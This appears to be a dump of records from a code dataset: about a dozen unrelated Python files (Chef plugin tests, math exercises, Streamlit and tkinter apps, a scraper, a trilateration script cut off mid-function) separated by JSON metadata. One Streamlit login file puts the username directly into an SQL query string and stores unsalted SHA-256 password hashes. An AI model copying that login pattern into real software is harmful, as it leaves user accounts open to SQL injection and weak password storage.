before, after = self.upload_deploy_and_execute_install(\n blueprint_id=id_, deployment_id=id_, inputs=inputs)\n\n fip_node = find_node_state('ip', after['node_state'][id_])\n chef_client_ip = fip_node['runtime_properties']['floating_ip_address']\n\n fabric_env = fabric.api.env\n fabric_env.update({\n # XXX: sometime - same user for connection is accidental\n # todo: replace it with update_blueprint()'s bp_info,\n # as in setUp()\n 'host_string': chef_client_ip,\n })\n\n out = fabric.api.run('cat /tmp/blueprint.txt')\n self.assertEquals(out, 'Great success!')\n\n self.execute_uninstall(id_)\n\n\nclass ChefPluginSoloTest(TestCase):\n\n def setUp(self, *args, **kwargs):\n\n super(ChefPluginSoloTest, self).setUp(*args, **kwargs)\n\n self.blueprint_dir = self.copy_blueprint(\n 'blueprints',\n blueprints_dir=get_resources_path())\n\n # Get resources\n with self.blueprint_dir:\n for res in 'cookbooks', 'data_bags', 'environments', 'roles':\n sh.tar('czf', res+'.tar.gz', res)\n\n def test_chef_solo(self):\n agent_key_file = get_actual_keypath(self.env,\n self.env.agent_key_path)\n blueprint_dir = self.blueprint_dir\n self.blueprint_yaml = blueprint_dir / 'chef-solo-test-blueprint.yaml'\n with YamlPatcher(self.blueprint_yaml) as blueprint:\n bp_info, inputs = update_blueprint(self.env, blueprint,\n 'chef-solo')\n\n id_ = self.test_id + '-chef-solo-' + str(int(time.time()))\n before, after = self.upload_deploy_and_execute_install(\n blueprint_id=id_, deployment_id=id_, inputs=inputs)\n\n fip_node = find_node_state('ip', after['node_state'][id_])\n chef_solo_ip = fip_node['runtime_properties']['floating_ip_address']\n\n fabric_env = fabric.api.env\n fabric_env.update({\n 'timeout': 30,\n 'user': bp_info['users'][0],\n 'key_filename': str(agent_key_file),\n 'host_string': chef_solo_ip,\n })\n\n expected_files_contents = (\n ('/tmp/blueprint.txt', 'Great success number #2 !'),\n ('/tmp/blueprint2.txt', '/tmp/blueprint.txt'),\n ('/tmp/chef_node_env.e1.txt', 'env:e1'),\n ('/tmp/chef_node_data_bag_user.db1.i1.txt', 'db1-i1-k1'),\n )\n\n for file_name, expected_content in expected_files_contents:\n actual_content = fabric.api.run('cat ' + file_name)\n msg = \"File '{0}' should have content '{1}' but has '{2}'\".format(\n file_name, expected_content, actual_content)\n self.assertEquals(actual_content, expected_content, msg)\n\n self.execute_uninstall(id_)\n","repo_name":"cloudify-cosmo/cloudify-chef-plugin","sub_path":"system_tests/manager/chef_plugin_test.py","file_name":"chef_plugin_test.py","file_ext":"py","file_size_in_byte":10575,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"21533103632","text":"# Exercise 4\nfrom math import gcd\n\n\ndef phi(n):\n i = 0\n for k in range(n+1):\n if 1 == gcd(k+1, n):\n i = i + 1\n return i\n\n\nn = 1354\neulerPhi = phi(n)\nprint(eulerPhi)\n\n","repo_name":"Mario-bgt/MAT_101_Programming","sub_path":"sheet2_cyrill_albrecht/ex02.4.py","file_name":"ex02.4.py","file_ext":"py","file_size_in_byte":193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"917072751","text":"'''\nKyle Timmermans (kt2578), Vicente Gomez (vg994)\nProf. Stoyanovich\nPrinciples of Database Systems\nFinal Project\n\nstreamlit_app.py\n'''\n\n\nimport time\nimport hashlib\nimport psycopg2\nimport pandas as pd\nimport streamlit as st\nfrom PIL import Image\nfrom configparser import ConfigParser\nfrom streamlit.components.v1 import html\n\n\n# Connect to db (from demo.py)\ndef get_config(filename=\"database.ini\", section=\"postgresql\"):\n parser = ConfigParser()\n parser.read(filename)\n return {k: v for k, v in parser.items(section)}\n\n\n# Query db (from demo.py)\ndef query_db(sql: str):\n db_info = get_config()\n conn = psycopg2.connect(**db_info)\n cur = conn.cursor()\n cur.execute(sql)\n data = cur.fetchall()\n column_names = [desc[0] for desc in cur.description]\n conn.commit()\n cur.close()\n conn.close()\n df = pd.DataFrame(data=data, columns=column_names)\n return df\n\n\n# Insert into db\ndef insert_db(sql: str):\n db_info = get_config()\n conn = psycopg2.connect(**db_info)\n cur = conn.cursor()\n cur.execute(sql)\n conn.commit()\n cur.close()\n conn.close()\n\n\n# For changing pages, no built-in option in Streamlit\n# https://github.com/streamlit/streamlit/issues/4832#issuecomment-1201938174\ndef nav_page(page_name, timeout_secs=0):\n nav_script = \"\"\"\n \n \"\"\" % (page_name, timeout_secs)\n html(nav_script)\n\n\n# Create page elements\nst.set_page_config(page_title=\"Login\", page_icon=\"assets/favicon.ico\", initial_sidebar_state=\"collapsed\")\nlogo = Image.open('assets/SteamDB.png')\ntemp = st.empty()\ncol1, col2, col3 = temp.columns([1, 3, 1])\npage_empty = 0\nwith col2:\n st.image(logo)\n st.subheader(\"Login\")\n username = st.text_input(\"Username\")\n password = st.text_input(\"Password\", type=\"password\")\n if st.button(\"Login\"):\n hashed_password = hashlib.sha256(password.encode('utf-8')).hexdigest()\n check = query_db(f\"SELECT username, password FROM users WHERE username = '{username}' AND password = '{hashed_password}';\")\n if check['username'].any():\n st.success(\"Success! Logging you in now...\", icon=\"✅\")\n #time.sleep(2)\n page_empty = 1\n else:\n st.error(\"Username not found or incorrect password. Please try again.\")\n\n st.markdown(\"\"\"Create an account\"\"\", unsafe_allow_html=True)\n\n\n# Remove extra Streamlit Elements\nhide_streamlit_style = \"\"\"\n \n \"\"\"\nst.markdown(hide_streamlit_style, unsafe_allow_html=True)\n\n\n# On correct login\nif page_empty == 1:\n # Session state not working between pages\n # User would not be able to see this bc its in the backend\n # They would only have access to the website and not the file system\n f = open(\"temp.dat\", \"w\")\n f.write(username)\n f.close()\n # Redirect to userpage\n nav_page(\"userpage\")\n","repo_name":"vgomezASC/db-project","sub_path":"streamlit_app.py","file_name":"streamlit_app.py","file_ext":"py","file_size_in_byte":3940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43710733404","text":"\"\"\"\nSubset Sum Problem\n\nGiven a set of non-negative integers, and a value sum, determine if there is a \nsubset of the given set with sum equal to given sum. \n\nExample: \n\nInput: set[] = {3, 34, 4, 12, 5, 2}, sum = 9\nOutput: True \nThere is a subset (4, 5) with sum 9.\n\nInput: set[] = {3, 34, 4, 12, 5, 2}, sum = 30\nOutput: False\nThere is no subset that add up to 30.\n\"\"\"\n\n\nclass Solution:\n\n def recurse(self, nums, sum, i):\n if sum == 0:\n return True\n\n if i >= len(nums):\n return sum == 0\n\n include = self.recurse(nums, sum-nums[i], i+1)\n not_include = self.recurse(nums, sum, i+1)\n\n return include or not_include\n\n def dp(self, nums, sum):\n matrix = [[False for i in range(sum+1)] for i in range(len(nums))]\n\n # Remember : Fill first row and column\n for i in range(sum+1):\n matrix[0][i] = False\n\n for i in range(len(nums)):\n matrix[i][0] = True\n\n for num in range(1, len(nums)):\n for curr_sum in range(1, sum+1):\n if curr_sum < nums[num]:\n matrix[num][curr_sum] = matrix[num -\n 1][curr_sum] # not include\n\n elif curr_sum >= nums[num]:\n matrix[num][curr_sum] = (matrix[num-1][curr_sum-nums[num]] or # Include case\n matrix[num-1][curr_sum]) # Not include case\n\n return matrix[-1][-1]\n\n\nif __name__ == \"__main__\":\n\n sol = Solution()\n\n nums = [3, 34, 4, 12, 5, 2]\n sum = 38\n\n is_possible = sol.recurse(nums, sum, 0)\n is_possible = sol.dp(nums, sum)\n print(is_possible)\n","repo_name":"deep-adeshraa/DP-Kit","sub_path":"set-1/subsetsum.py","file_name":"subsetsum.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15976367942","text":"from PIL import Image, ImageDraw, ImageOps\n\n# Load the panorama image\npanorama = Image.open('duggee.jpg')\n\n# Convert the image to \"RGBA\" mode\npanorama = panorama.convert(\"RGBA\")\n\n# Create a new image with a transparent background\ncircle = Image.new('RGBA', panorama.size, (255, 255, 255, 0))\n\n# Draw a white circle on the transparent image\ndiameter = panorama.width\ndraw = ImageDraw.Draw(circle)\ndraw.ellipse((0, 0, diameter, diameter), fill=(255, 255, 255, 255))\n\n# Apply a mask to the panorama image\nmask = ImageOps.fit(circle, panorama.size, centering=(0.5, 0.5))\npanorama.putalpha(mask.getchannel('A'))\n\n# Paste the masked panorama image onto the transparent circle image\nfinal_image = Image.alpha_composite(circle, panorama)\n\n# Save the final image as a PNG file\nfinal_image.save('panorama_circle.png')\n","repo_name":"Chrisophogus/com-py","sub_path":"archive/com-py-circle.py","file_name":"com-py-circle.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33818282526","text":"# Crie um programa que leia nome e duas notas de vários alunos e guarde tudo em uma lista composta. No final,\n# mostre um boletim contendo a média de cada um e permita que o usuário possa mostrar as notas de cada aluno\n# individualmente.\nfrom time import sleep\naluno = list()\nlista = list()\nwhile True:\n aluno.append(str(input('Nome do Aluno: ')))\n nota1 = float(input('Nota 1: '))\n aluno.append(nota1)\n nota2 = float(input('Nota 2: '))\n aluno.append(nota2)\n mediaNota = (nota1 + nota2) / 2\n aluno.append(mediaNota)\n lista.append(aluno[:])\n aluno.clear()\n resp = str(input('Quer continuar? [S/N] ')).strip().upper()[0]\n while resp != 'N' and resp != 'S':\n resp = str(input('Quer continuar? [S/N] ')).strip().upper()[0]\n if resp in 'N':\n break\nprint('-='*20)\nprint('-'*22)\nprint(f\"{'Nº':<2}\", f\"{'Nome':<10}\", f\"{'Média':<10}\")\nprint('-'*22)\nfor i, v in enumerate(lista):\n print(f'{i:<2}', end=' ')\n print(f'{v[0]:<10}', f'{v[3]:<10.2f}')\nprint('-'*22)\nwhile True:\n pergunta = int(input('Quer ver a nota de qual aluno?[999]Encerra '))\n print('-' * 46)\n for i, v in enumerate(lista):\n if pergunta == i:\n print(f'As notas do Aluno(a) {v[0]} foram: ', end='')\n print(f'{v[1], v[2]}', end=' ')\n print()\n print('-' * 46)\n print()\n if pergunta == 999:\n print('Finalizando...')\n sleep(1)\n break\n\n","repo_name":"mroya/ProjectGit","sub_path":"Python/Curso em Video Python/Aula18-Listas (Parte2)/ex089_Boletim com listas compostas.py","file_name":"ex089_Boletim com listas compostas.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"71828359762","text":"\nfrom common import commons, bsmultimanager\nfrom screen import *\nimport time\nimport tkinter as tk\nfrom tkinter import ttk, filedialog\nfrom PIL import Image, ImageTk\nimport threading\n\ncommons.setup()\n# commons.first_check()\n\nimport control_manager\n\nimport threading\nimport time\nimport tkinter as tk\n\nclass MainWindow(tk.Frame):\n\n def __init__(self, parent, *args, **kwargs):\n tk.Frame.__init__(self, parent, *args, **kwargs)\n self.parent = parent\n self.current_control_item = None\n screen_width = parent.winfo_screenwidth()\n screen_height = parent.winfo_screenheight()\n # 창 크기 설정 (원하는 창 크기로 변경)\n self.window_width = 1000\n self.window_height = 1000\n # 창 위치 계산 (우측 상단)\n x = screen_width - self.window_width\n y = 0\n # 창 크기 및 위치 설정\n parent.geometry(f'{self.window_width}x{self.window_height}+{x}+{y}')\n s = ttk.Style()\n s.configure('Treeview', rowheight=30) # repace 40 with whatever you need\n self.create_widgets()\n for item in control_manager.control_item:\n self.list_view.insert('', 'end', text=item.con_name)\n commons.bsm.fn_update_imageview = self.update_image\n self.stop_event = None\n \n parent.protocol(\"WM_DELETE_WINDOW\", self.on_closing)\n\n def create_widgets(self):\n self.parent.title('삼국지k 자동화툴')\n\n # 프레임 생성\n left_frame = ttk.Frame(self.parent)\n left_frame.pack(side=\"left\", padx=5, pady=10)\n\n right_frame = ttk.Frame(self.parent) \n right_frame.pack(side=\"right\", padx=5, pady=10)\n\n bottom_frame = ttk.Frame(self.parent)\n bottom_frame.pack(side=\"bottom\", padx=5, pady=10, fill=\"x\")\n\n # 리스트뷰 생성\n self.list_view = ttk.Treeview(left_frame,\n # height=self.window_height*.2, \n selectmode='browse')\n self.list_view.bind('<>', self.get_selected_item_text)\n self.list_view.pack(fill=\"both\", expand=True)\n\n # 이미지뷰 생성\n _, cur_img = commons.bsm.get_CurrentBsImg()\n photo = ImageTk.PhotoImage(cur_img)\n\n self.image_label = ttk.Label(right_frame, image=photo)\n self.image_label.pack()\n # 왼쪽 클릭시 이벤트 발생 cb 등록\n self.image_label.bind('', self.img_click_event)\n\n # 텍스트뷰와 스크롤바를 위한 프레임 생성\n text_frame = ttk.Frame(left_frame)\n text_frame.pack(fill=\"both\", expand=True)\n\n # 텍스트뷰 및 스크롤바 생성\n self.text_view = tk.Text(text_frame, wrap=\"word\")\n self.text_view.pack(side=\"left\", fill=\"both\", expand=True)\n\n scrollbar = ttk.Scrollbar(text_frame, orient=\"vertical\", command=self.text_view.yview)\n scrollbar.pack(side=\"right\", fill=\"y\")\n\n self.text_view.config(yscrollcommand=scrollbar.set)\n\n commons.log_text_view = self.text_view\n\n # 왼쪽 프레임의 하단에 버튼 추가\n bottom_frame = ttk.Frame(left_frame)\n bottom_frame.pack(side=\"bottom\", padx=5, pady=10, fill=\"x\")\n\n # 버튼 생성\n self.start_btn = ttk.Button(bottom_frame, text=\"시작\", command=self.on_start_click)\n self.start_btn.pack(side=\"left\", padx=5)\n self.cancel_btn = ttk.Button(bottom_frame, text=\"중지\", command=self.on_cancel_click)\n self.cancel_btn.pack(side=\"left\", padx=5)\n self.scan_btn = ttk.Button(bottom_frame, text=\"스캔\", command=self.on_scan_click)\n self.scan_btn.pack(side=\"left\", padx=5)\n self.save_btn = ttk.Button(bottom_frame, text=\"저장\", command=self.on_save_click)\n self.save_btn.pack(side=\"left\", padx=5)\n\n def on_start_click(self):\n self.start_btn.config(state='disabled')\n selected_item = self.get_selected_item_text()\n self.current_control_item = control_manager.control_dict[selected_item]\n self.stop_event = threading.Event()\n self.current_control_item(self.stop_event).start()\n\n def on_cancel_click(self):\n if self.stop_event is not None:\n self.stop_event.set()\n self.start_btn.config(state='enabled')\n\n def on_scan_click(self):\n _, ocr_text = commons.get_current_text()\n _, img = commons.bsm.get_CurrentBsImg()\n self.update_image(img)\n self.text_view.insert('end', ocr_text)\n self.text_view.insert('end', \"'\\n'\")\n\n def on_save_click(self):\n bbox, img = commons.bsm.get_CurrentBsImg()\n file_name = filedialog.asksaveasfilename(defaultextension=\".png\", \n filetypes=[(\"PNG files\", \"*.png\"), (\"All files\", \"*.*\")])\n if file_name:\n img.save(file_name)\n\n def update_image(self, img):\n global photo\n # 이미지 업데이트 \n new_photo = ImageTk.PhotoImage(img)\n self.image_label.configure(image=new_photo)\n photo = new_photo\n\n def get_selected_item_text(self, event=None):\n item = self.list_view.item(self.list_view.focus()) # 선택된 항목의 아이디 가져오기\n cur_item = item['text'] # 아이디를 사용해 항목의 텍스트 속성 가져오기\n return cur_item \n \n def img_click_event(self, event):\n x, y = event.x, event.y\n print(f\"Relative coordinates: ({x}, {y})\")\n\n def on_closing(self):\n if self.stop_event is not None:\n self.stop_event.set()\n self.parent.destroy()\n\nif __name__ == '__main__':\n root = tk.Tk()\n m_win = MainWindow(root) \n \n root.mainloop()\n","repo_name":"junteken/samk","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42632949840","text":"import os\nimport sys\nfrom functools import partial\n\nimport streamlit as st\nfrom PIL import Image\nfrom yaml import SafeLoader\nimport yaml\n\nfrom st_pages import show_pages_from_config\nfrom utility import add_logo, load_text\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n# Constants\nLOCAL_PATH = 'lib/rosetta_linux/source/bin/residue_energy_breakdown.static.linuxgccrelease'\nRS_LOCAL_PATH = 'lib/rosetta_linux/source/bin/rosetta_scripts.static.linuxgccrelease'\n\n\n# --- Initialization and Session State Functions ---\n\ndef clear_session() -> None:\n \"\"\"\n Clear the Streamlit Session State\n :return: None\n \"\"\"\n for key in st.session_state.keys():\n del st.session_state[key]\n\n\ndef ensure_state():\n sections = [\n \"Home\",\n \"File Upload\",\n \"Interaction Analysis\",\n \"Residue Depth\",\n \"Energy Heatmap\",\n ]\n sys.path.append(os.path.dirname(__file__)) #\n if 'root_dir' not in st.session_state.keys():# Save to the Session State the root directory of the project, remove the name of the file\n st.session_state['root_dir'] = os.path.dirname(__file__.replace('Welcome.py', ''))\n st.session_state['root_dir'] = '/app/ENDURE'\n for section in sections:\n if section not in st.session_state:\n st.session_state[section] = {}\n\n\n# --- Rosetta Detection Functions ---\n\ndef check_local_rosetta() -> None:\n \"\"\"\n Check if rosetta is included as part of the webserver\n :return:\n \"\"\"\n exists = os.path.exists(LOCAL_PATH)\n rs_exists = os.path.exists(RS_LOCAL_PATH)\n if STATE:\n if 'rosetta_installed' not in STATE.keys():\n STATE['rosetta_installed'] = False\n STATE['rosetta_local'] = False\n st.session_state['Home']['rosetta_installed'] = False\n st.session_state['Home']['rosetta_local'] = False\n \n STATE['rosetta_local'] = exists\n \n if exists:\n STATE['rosetta_path'] = LOCAL_PATH\n STATE['rosetta_scripts_path'] = RS_LOCAL_PATH\n STATE['rosetta_installed'] = True\n st.session_state['rosetta_path'] = LOCAL_PATH\n st.session_state['rosetta_scripts_path'] = RS_LOCAL_PATH\n st.session_state['Home']['rosetta_installed'] = True\n else:\n if 'rosetta_installed' not in st.session_state.keys():\n st.session_state['rosetta_installed'] = False\n st.session_state['rosetta_local'] = False\n st.session_state['rosetta_local'] = exists\n if exists:\n st.session_state['rosetta_path'] = LOCAL_PATH\n st.session_state['rosetta_installed'] = True\n if rs_exists:\n st.session_state['rosetta_scripts_path'] = RS_LOCAL_PATH\n st.session_state['rosetta_installed'] = True\n\ndef check_user_rosetta(path: str) -> bool:\n \"\"\"\n Validate the user-provided rosetta path\n :param path:\n The user-provided rosetta path\n :return:\n \"\"\"\n valid_path = os.path.exists(path)\n STATE['rosetta_installed'] = \\\n valid_path and 'residue_energy_breakdown' in path\n return valid_path and 'residue_energy_breakdown' in path\n\n\ndef path_input(container) -> None:\n \"\"\"\n Callback function to dynamically update the status widget without having\n to wait for a page refresh.\n :param container:\n The container to write the status symbol to\n :return:\n \"\"\"\n STATE['rosetta_path'] = st.session_state['rosetta_path']\n if check_user_rosetta(STATE['rosetta_path']):\n container.success('Successfully Found the Provided Executable')\n else:\n container.error('Unable to find provided filepath')\n\n\ndef detect_rosetta() -> None:\n \"\"\"\n Ensure that the application knows where to find the Rosetta executable\n :return:\n \"\"\"\n if STATE:\n rosetta_local = STATE.get('rosetta_local', False)\n else:\n rosetta_local = st.session_state.get('rosetta_local', False)\n\n if rosetta_local:\n st.success('Local Rosetta Installation Detected')\n else:\n status = st.container()\n if st.session_state.get('rosetta_installed', False):\n status.success('Successfully Found the Provided Executable')\n else:\n status.warning('Please Enter the Executable Path')\n st.text_input(\n label='',\n value=st.session_state.get('rosetta_path', 'main/source/bin/residue_energy_breakdown.static.linuxgccrelease'),\n key='rosetta_path',\n on_change=partial(path_input, status)\n )\n\n# --- Status Display Functions ---\n\ndef file_status(\n name: str,\n error: str,\n success: str,\n warning: str\n) -> None:\n \"\"\"\n Creates a file status icon in the sidebar\n :param name:\n Name of the file stored in streamlit session state\n :param error:\n Message to display if file is not yet generated\n :param success:\n Message to display if file is up-to-date\n :param warning:\n Message to display if file is outdated\n :return: None\n \"\"\"\n if name not in st.session_state['File Upload'].keys():\n st.error(error)\n elif st.session_state['File Upload'][name]:\n st.success(success)\n else:\n st.warning(warning)\n\n# ---- Markdown Display Functions ---\n\ndef load_welcome_text() -> str:\n \"\"\"\n Load the welcome text from the welcome.md file\n :return:\n The welcome text\n \"\"\" \n \n with open(\"text/welcome/welcome.md\", \"r\") as file:\n return file.read()\n\n# --- Main Application Functions ---\n\ndef home() -> None:\n \"\"\"\n Creates the Homepage Screen\n :return: None\n \"\"\"\n left, center, right = st.columns([1, 2, 1])\n check_local_rosetta()\n with center:\n st.markdown(load_welcome_text())\n\n\n\n# --- Main Application Execution ---\n\nSTATUS = {\n 'cleaned': dict(\n error='PDB Files not Cleaned',\n success='PDB Files Cleaned',\n warning='PDB Files Changed, should re-clean'\n ),\n 'mut_calc': dict(\n error='Mutations Not Calculated',\n success='Mutations Calculated',\n warning='PDB Files Changed, should re-calculate'\n ),\n 'depth': dict(\n error='Residue Depth Not Calculated',\n success='Reside Depth Calculated',\n warning='PDB Files Changed, should re-calculate'\n ),\n 'breakdown': dict(\n error='Energy Breakdown Not Calculated',\n success='Energy Breakdown Calculated',\n warning='PDB Files Changed, should re-calculate'\n )\n}\n\n\nst.set_page_config(\n page_title=\"Hello\",\n page_icon=\"👋\",\n layout=\"wide\",\n initial_sidebar_state=\"expanded\",\n)\n\nensure_state()\n\nadd_logo(\"images/draft_logo_200.png\")\n\nwith st.sidebar:\n st.title(\"ENDURE\")\n STATE = st.session_state['Home']\n check_local_rosetta()\n detect_rosetta()\n for key, value in STATUS.items():\n file_status(name=key, **value)\n\nshow_pages_from_config(\".streamlit/pages_sections.toml\")\nhome() ","repo_name":"kuenzelab/ENDURE","sub_path":"Welcome.py","file_name":"Welcome.py","file_ext":"py","file_size_in_byte":6933,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"21635428547","text":"from bs4 import BeautifulSoup as soup\nfrom urllib.request import urlopen as uReq\nfrom datetime import datetime\nimport calendar\nfrom datetime import date\n\n\ntoday = datetime.now()\ncurrent_month_name = calendar.month_name[date.today().month]\ncurrent_month_abb = today.strftime(\"%b\")\n\n\niharare_images_url = []\niharare_websites_url = []\niharare_titles = []\niharare_dates = []\n\nmy_url = \"https://iharare.com/\"\nuClient = uReq(my_url)\n\npage_html = uClient.read()\nuClient.close()\n\npage_soup = soup(page_html, \"html.parser\")\n\ncontainers = page_soup.findAll(\"div\", {\"class\": \"item-inner clearfix\"})\nfor container in containers:\n image = container.div.find('a', style=True)\n iharare_images_url.append(image[\"style\"][22:-2])\n iharare_titles.append(container.h2.text.strip())\n iharare_websites_url.append(container.h2.a[\"href\"])\n # summaries = container.findAll(\"div\", {\"class\": \"post-summary\"})\n # for summary in summaries:\n # print(summary.text.strip())\n meta_data = container.findAll(\"div\", {\"class\": \"post-meta\"})\n for meta in meta_data:\n date = meta.span.time.text\n new_date = date.replace(current_month_abb, current_month_name)\n iharare_dates.append(new_date)\n","repo_name":"Chengetanaim/news-job-aggregator","sub_path":"news/iharare.py","file_name":"iharare.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12614615693","text":"\"\"\"\nPython APIs exposed by the Programs app to other in-process apps.\n\"\"\"\n\nfrom .utils import is_user_enrolled_in_program_type as _is_user_enrolled_in_program_type\n\n\ndef is_user_enrolled_in_program_type(user, program_type_slug, paid_modes_only=False, enrollments=None, entitlements=None): # lint-amnesty, pylint: disable=line-too-long\n \"\"\"\n This method will look at the learners Enrollments and Entitlements to determine\n if a learner is enrolled in a Program of the given type.\n\n NOTE: This method relies on the Program Cache right now. The goal is to move away from this\n in the future.\n\n Arguments:\n user (User): The user we are looking for.\n program_type_slug (str): The slug of the Program type we are looking for.\n paid_modes_only (bool): Request if the user is enrolled in a Program in a paid mode, False by default.\n enrollments (List[Dict]): Takes a serialized list of CourseEnrollments linked to the user\n entitlements (List[CourseEntitlement]): Take a list of CourseEntitlement objects linked to the user\n\n NOTE: Both enrollments and entitlements will be collected if they are not passed in. They are available\n as parameters in case they were already collected, to save duplicate queries in high traffic areas.\n\n Returns:\n bool: True is the user is enrolled in programs of the requested type\n \"\"\"\n\n return _is_user_enrolled_in_program_type(\n user,\n program_type_slug,\n paid_modes_only=paid_modes_only,\n enrollments=enrollments,\n entitlements=entitlements\n )\n","repo_name":"openedx/edx-platform","sub_path":"openedx/core/djangoapps/programs/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"} +{"seq_id":"26137850939","text":"# Задача 2: Найдите сумму цифр трехзначного числа.\n# *Пример:*\n# 123 -> 6 (1 + 2 + 3)\n# 100 -> 1 (1 + 0 + 0) |\n# *** Рассмотрите случай числа с плавающей точкой и не обязательно 3-х значного\n\nwhile True:\n try:\n number = float(input(\"Пожалуйста, введите целое число: \"))\n break\n except ValueError:\n print(\"Это не целое число. Попробуйте снова...\")\nsum = 0\nnumber = str(number)\n\nfor i in range(len(number)):\n if number[i] != '.':\n sum += int(number[i])\ni += i\nprint(f'Сумма цифр числа равна: {sum}')\n","repo_name":"KirillCH1/Python-HM","sub_path":"Task2.py","file_name":"Task2.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29976314325","text":"import numpy as np\n\nfrom matplotlib import pyplot as plt\nfrom matplotlib.collections import LineCollection\n\nfrom sklearn import manifold\nfrom sklearn.metrics import euclidean_distances\n\nimport math\n\nfrom itertools import combinations\n\nimport sys\nsys.path.insert(1, 'C:/Users/Jonathan/Documents/GitHub/UWB/Robust_Quads')\nfrom algo2 import compute_RQ_algo2\n\n\n# Trilaterate nodes\ndef trilateration(node_to_trilaterate, robust_triangle_nodes, distance_matrix, sort_loc_best):\n # Compute square of distance between the first three initial nodes and the node to be trilaterated\n r1_sq = pow(distance_matrix[node_to_trilaterate, robust_triangle_nodes[0]], 2)\n r2_sq = pow(distance_matrix[node_to_trilaterate, robust_triangle_nodes[1]], 2)\n r3_sq = pow(distance_matrix[node_to_trilaterate, robust_triangle_nodes[2]], 2)\n\n robust_triangle_nodes_coordinates = []\n for node in robust_triangle_nodes:\n for data in sort_loc_best:\n if node == data[0]:\n robust_triangle_nodes_coordinates.append(data[1])\n\n robust_triangle_nodes_coordinates = np.array(robust_triangle_nodes_coordinates) # Convert to np array\n anchor_x = robust_triangle_nodes_coordinates[:,0]\n anchor_y = robust_triangle_nodes_coordinates[:,1]\n\n # Solve a linear matrix equation where x,y is the Tag coordinate:\n # Ax + By = C\n # Dx + Ey = F\n A = (-2*anchor_x[0]) + (2*anchor_x[1])\n B = (-2*anchor_y[0]) + (2*anchor_y[1])\n C = r1_sq - r2_sq - pow(anchor_x[0],2) + pow(anchor_x[1],2) - pow(anchor_y[0],2) + pow(anchor_y[1],2) \n D = (-2*anchor_x[1]) + (2*anchor_x[2])\n E = (-2*anchor_y[1]) + (2*anchor_y[2])\n F = r2_sq - r3_sq - pow(anchor_x[1],2) + pow(anchor_x[2],2) - pow(anchor_y[1],2) + pow(anchor_y[2],2) \n\n a = np.array([[A, B], [D, E]])\n b = np.array([C, F])\n tag_coordinates = np.linalg.solve(a, b)\n tag_coordinates = np.array(tag_coordinates).tolist()\n # print(\"Tag Coordinate:\", tag_coordinates)\n return tag_coordinates\n\ndef compute_RTRR(og_distance_matrix, dmin, robust_tri_trilaterate_count):\n robust_nodes, trilaterated_robust_node_data, untrilated_nodes, robust_triangles, sort_robust_loc = compute_RQ_algo2(og_distance_matrix, dmin)\n for non_trilaterated_node in untrilated_nodes:\n x_list = []\n y_list = []\n global trilaterated_loc\n trilaterated_loc = [] \n for robust_triangle_no in range(0, robust_tri_trilaterate_count):\n triangle_nodes = robust_triangles[robust_triangle_no]\n tag_coordinates = trilateration(non_trilaterated_node, triangle_nodes, og_distance_matrix, sort_robust_loc)\n x_list.append(tag_coordinates[0])\n y_list.append(tag_coordinates[1])\n x_avg = round(sum(x_list) / len(x_list), 2)\n y_avg = round(sum(y_list) / len(y_list), 2)\n trilaterated_loc.append([non_trilaterated_node, [x_avg,y_avg]])\n # print(\"trilaterated_loc\",trilaterated_loc)\n sort_trilaterated_loc = sorted(trilaterated_loc, key=lambda x: x[0])\n\n rtrr_node_coordinate = np.array([data[1] for data in sort_trilaterated_loc])\n\n all_loc = sort_robust_loc\n all_loc.extend(sort_trilaterated_loc)\n sort_all_loc = sorted(all_loc, key=lambda x: x[0])\n\n all_node_coordinates = np.array([data[1] for data in sort_all_loc])\n\n print(\"sort_all_loc\", sort_all_loc)\n # print(\"rtrr_node_coordinate\", rtrr_node_coordinate)\n # print(\"all_node_coordinates\", all_node_coordinates)\n\n return robust_nodes, trilaterated_robust_node_data, rtrr_node_coordinate, all_node_coordinates\n\n\n\ndef main():\n # Non - Flipped Nodes Example\n # x_og_data = [0,0,2,2,28,10,100]\n # y_og_data = [0,2,0,2,35,80,100]\n\n # Flipped Nodes Example\n x_og_data = [0,0,2,2,100]\n y_og_data = [0,2,0,2,100]\n\n\n # Total nuber of Anchor nodes\n # node_count = len(x_og_data)\n\n # The Original (Global) Coordinates of the Anchor Nodes.\n og_coordinates = list(zip(x_og_data, y_og_data))\n print(\"Original Coordinates \\n\",og_coordinates)\n\n # Create a Distance Matrix from the Original Coordinates.\n og_distance_matrix = euclidean_distances(og_coordinates)\n print(\"Original Distance Matrix \\n\",og_distance_matrix)\n\n # Threshold Measurement Noise\n dmin = 1.0\n\n robust_tri_trilaterate_count = 3\n\n robust_nodes, trilaterated_robust_node_data, rtrr_node_coordinate, all_node_coordinates = compute_RTRR(og_distance_matrix, dmin, robust_tri_trilaterate_count)\n\n\n # Plot the two graphs\n fig = plt.figure()\n\n # Original Coordinate Plot\n ax1 = fig.add_subplot(141)\n ax1.title.set_text('Original')\n og_coordinates = [list(ele) for ele in og_coordinates]\n og_coordinates = np.array(og_coordinates)\n # print(og_coordinates) \n plt.scatter(og_coordinates[:, 0], og_coordinates[:, 1])\n\n ax2 = fig.add_subplot(142)\n 